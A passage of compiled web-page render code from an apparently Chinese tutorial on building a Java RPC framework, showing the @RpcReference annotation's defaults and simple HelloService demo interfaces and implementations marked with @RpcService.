bhrpc服务消费者\n */")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Retention")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RetentionPolicy")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("RUNTIME")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Target")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("FIELD")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Autowired")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@interface")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RpcReference")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 版本号\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("version")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"1.0.0"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 注册中心类型, 目前的类型包含:zookeeper、nacos、etcd、consul\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("registryType")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"zookeeper"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 注册地址\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("registryAddress")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"127.0.0.1:2181"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 负载均衡类型,默认基于ZK的一致性Hash\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("loadBalanceType")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"zkconsistenthash"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 序列化类型,目前的类型包含:protostuff、kryo、json、jdk、hessian2、fst\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("serializationType")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"protostuff"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 超时时间,默认5s\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("long")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("timeout")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("5000")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 是否异步执行\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("boolean")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("async")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("false")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 是否单向调用\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("boolean")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("oneway")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("false")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 代理的类型,jdk:jdk代理, javassist: javassist代理, cglib: cglib代理\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("proxy")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"jdk"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 服务分组,默认为空\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("group")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('""')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br"),t("span",{staticClass:"line-number"},[s._v("12")]),t("br"),t("span",{staticClass:"line-number"},[s._v("13")]),t("br"),t("span",{staticClass:"line-number"},[s._v("14")]),t("br"),t("span",{staticClass:"line-number"},[s._v("15")]),t("br"),t("span",{staticClass:"line-number"},[s._v("16")]),t("br"),t("span",{staticClass:"line-number"},[s._v("17")]),t("br"),t("span",{staticClass:"line-number"},[s._v("18")]),t("br"),t("span",{staticClass:"line-number"},[s._v("19")]),t("br"),t("span",{staticClass:"line-number"},[s._v("20")]),t("br"),t("span",{staticClass:"line-number"},[s._v("21")]),t("br"),t("span",{staticClass:"line-number"},[s._v("22")]),t("br"),t("span",{staticClass:"line-number"},[s._v("23")]),t("br"),t("span",{staticClass:"line-number"},[s._v("24")]),t("br"),t("span",{staticClass:"line-number"},[s._v("25")]),t("br"),t("span",{staticClass:"line-number"},[s._v("26")]),t("br"),t("span",{staticClass:"line-number"},[s._v("27")]),t("br"),t("span",{staticClass:"line-number"},[s._v("28")]),t("br"),t("span",{staticClass:"line-number"},[s._v("29")]),t("br"),t("span",{staticClass:"line-number"},[s._v("30")]),t("br"),t("span",{staticClass:"line-number"},[s._v("31")]),t("br"),t("span",{staticClass:"line-number"},[s._v("32")]),t("br"),t("span",{staticClass:"line-number"},[s._v("33")]),t("br"),t("span",{staticClass:"line-number"},[s._v("34")]),t("br"),t("span",{staticClass:"line-number"},[s._v("35")]),t("br"),t("span",{staticClass:"line-number"},[s._v("36")]),t("br"),t("span",{staticClass:"line-number"},[s._v("37")]),t("br"),t("span",{staticClass:"line-number"},[s._v("38")]),t("br"),t("span",{staticClass:"line-number"},[s._v("39")]),t("br"),t("span",{staticClass:"line-number"},[s._v("40")]),t("br"),t("span",{staticClass:"line-number"},[s._v("41")]),t("br"),t("span",{staticClass:"line-number"},[s._v("42")]),t("br"),t("span",{staticClass:"line-number"},[s._v("43")]),t("br"),t("span",{staticClass:"line-number"},[s._v("44")]),t("br"),t("span",{staticClass:"line-number"},[s._v("45")]),t("br"),t("span",{staticClass:"line-number"},[s._v("46")]),t("br"),t("span",{staticClass:"line-number"},[s._v("47")]),t("br"),t("span",{staticClass:"line-number"},[s._v("48")]),t("br"),t("span",{staticClass:"line-number"},[s._v("49")]),t("br"),t("span",{staticClass:"line-number"},[s._v("50")]),t("br"),t("span",{staticClass:"line-number"},[s._v("51")]),t("br"),t("span",{staticClass:"line-number"},[s._v("52")]),t("br"),t("span",{staticClass:"line-number"},[s._v("53")]),t("br"),t("span",{staticClass:"line-number"},[s._v("54")]),t("br"),t("span",{staticClass:"line-number"},[s._v("55")]),t("br"),t("span",{staticClass:"line-number"},[s._v("56")]),t("br"),t("span",{staticClass:"line-number"},[s._v("57")]),t("br"),t("span",{staticClass:"line-number"},[s._v("58")]),t("br"),t("span",{staticClass:"line-number"},[s._v("59")]),t("br"),t("span",{staticClass:"line-number"},[s._v("60")]),t("br")])]),t("p",[s._v("这里,我只列出了服务提供者注解"),t("code",[s._v("@RpcService")]),s._v("和服务调用者注解"),t("code",[s._v("@RpcReference")]),s._v("的部分源码,后续在RPC框架不断完善的过程中,大家就可以慢慢看到源码的全貌和其每个注解实现的功能。这里,我就不详细介绍了。")]),s._v(" "),t("p",[t("strong",[s._v("当然啦,在这个RPC框架实现的原生调用方式中,可以不用这些注解就能够实现远程调用。")])]),s._v(" "),t("h3",{attrs:{id:"效果演示"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#效果演示"}},[s._v("#")]),s._v(" 效果演示")]),s._v(" "),t("h4",{attrs:{id:"接口定义"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#接口定义"}},[s._v("#")]),s._v(" 接口定义")]),s._v(" "),t("p",[s._v("定义两个接口,分别为HelloService和HelloPersonService,源码如下所示。")]),s._v(" "),t("ul",[t("li",[s._v("HelloService接口源码")])]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("interface")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("HelloService")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("hello")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" name"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("hello")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Person")]),s._v(" person"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br")])]),t("ul",[t("li",[s._v("HelloPersonService接口源码")])]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("interface")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("HelloPersonService")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("List")]),t("span",{pre:!0,attrs:{class:"token generics"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Person")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getTestPerson")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" name"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("int")]),s._v(" num"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br")])]),t("h4",{attrs:{id:"实现服务提供者demo"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#实现服务提供者demo"}},[s._v("#")]),s._v(" 实现服务提供者demo")]),s._v(" "),t("p",[s._v("(1)创建HelloService接口和HelloPersonService接口的实现类HelloServiceImpl和HelloPersonServiceImpl,如下所示。")]),s._v(" "),t("ul",[t("li",[s._v("HelloServiceImpl类源码")])]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@RpcService")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("interfaceClass "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("HelloService")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" version "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"1.0.0"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("HelloServiceImpl")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("implements")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("HelloService")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Override")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("hello")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" name"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"Hello! "')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" name"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Override")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("hello")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Person")]),s._v(" person"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"Hello! "')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" person"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getFirstName")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('" "')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" person"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getLastName")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br"),t("span",{staticClass:"line-number"},[s._v("12")]),t("br"),t("span",{staticClass:"line-number"},[s._v("13")]),t("br")])]),t("p",[s._v("可以看到,在HelloServiceImpl类上添加了RPC服务提供者注解"),t("code",[s._v("@RpcService")]),s._v(",表示将其发布为一个RPC服务。")]),s._v(" "),t("ul",[t("li",[s._v("HelloPersonServiceImpl类源码")])]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@RpcService")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("interfaceClass "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("HelloPersonService")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" version "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"1.0.0"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("HelloPersonServiceImpl")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("implements")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("HelloPersonService")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Override")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("List")]),t("span",{pre:!0,attrs:{class:"token generics"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Person")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getTestPerson")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" name"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("int")]),s._v(" num"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("List")]),t("span",{pre:!0,attrs:{class:"token generics"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Person")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v(" persons "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ArrayList")]),t("span",{pre:!0,attrs:{class:"token generics"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("num"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("for")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("int")]),s._v(" i "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v(" i "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("<")]),s._v(" num"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("++")]),s._v("i"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n persons"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("add")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Person")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Integer")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("toString")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("i"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" name"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" persons"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br")])]),t("p",[s._v("可以看到,在HelloPersonServiceImpl类上添加了RPC服务提供者注解"),t("code",[s._v("@RpcService")]),s._v(",表示将其发布为一个RPC服务。")]),s._v(" 